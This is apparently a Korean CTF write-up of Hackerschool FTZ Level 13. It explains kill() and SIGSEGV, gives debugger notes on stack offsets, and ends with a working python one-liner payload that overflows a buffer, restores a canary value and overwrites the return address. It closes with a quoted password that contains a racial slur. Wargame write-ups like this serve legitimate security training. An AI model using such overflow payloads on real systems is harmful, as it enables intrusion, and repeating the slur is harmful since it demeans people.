[해커스쿨FTZ]Level13
kill함수는 쉘에서 프로세스를 죽이는 kill명령과 달리,
프로세스에 시그널을 전송한다.
int kill(pid_t pid, int sig); - 함수의 원형
pid란 프로세스 ID이다.
프로세스 ID 값에 따라 아래와 같이 처리가 분류된다.
PID 의미
양의 정수 - 지정한 프로세스 ID에만 시그널을 전송
0 - 함수를 호출하는 프로세스와 같은 그룹에 있는 모든 프로세스에 시그널 전송
-1 - 함수를 호출하는 프로세스가 전송할 수 있는 권한을 가진 모든 프로세스에 시그널을 전송
-1이외의 음수 - 첫번째 인수 PID의 절댓값 프로세스 그룹에 속하는 모든 프로세스에 시그널을 전송
kill(0,11)로 되어 있음.
11은 #define SIGSEGV 11로 지정되어 있다.
SIGSEGV란, 잘못된 메모리 주소를 접근하고자 할 때 보내지는데, 이 시그널을 받으면 코어 덤프 후 종료된다.
즉, kill(0,11)이란
함수를 호출하는 프로세스와 동일 그룹에 있는 모든 프로세스에,
SIGSEGV 시그널을 보내 코어 덤프 후 종료하도록 한다.
b *main+79 - cmp로 0x1234567 비교
b *main+19 - 0x1234567을 ptr * ebp-12에 저장
b *main+71 strcpy
main+3 에서 스택을 0x418(=1048byte)만큼 확장
[main ebp] 0xbfffde48 value:0xbfffde68
[main esp 1048확장후] 0xbfffda30 value:0
[ebp-12] 0xbfffde3c value : 0x01234567
bfffde3c - bfffda30 = 40c(=1036byte)
[strcpy이전/이후] esp : 0xbfffda20 value:0xbfffda30
스택에서 bfffda30 부터 A가 쌓임.
"A"*1032+"\x67\x45\x23\x01" +12바이트 더미(여기까지가 ebp) + 그다음 ret인가?
`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42"'`
>>성공!
--헷갈려서 다시 디버깅--
ebp - 0xbfffdbd8 value:0xbfffdbf8
esp - 0xbfffd7b0 value : 0xbfffd7c0
스택쌓이는건 0xbfffd7c0부터 쌓인다.
1032 A를 쌓았을 때, 4바이트 뒤에 0x01234567이 등장
=> A를 1036바이트 쌓고 0x1234567 넣어줘야함
12바이트 더미 이후에 RET
level14 패스워드는 "what that nigga want?"
댓글
댓글 쓰기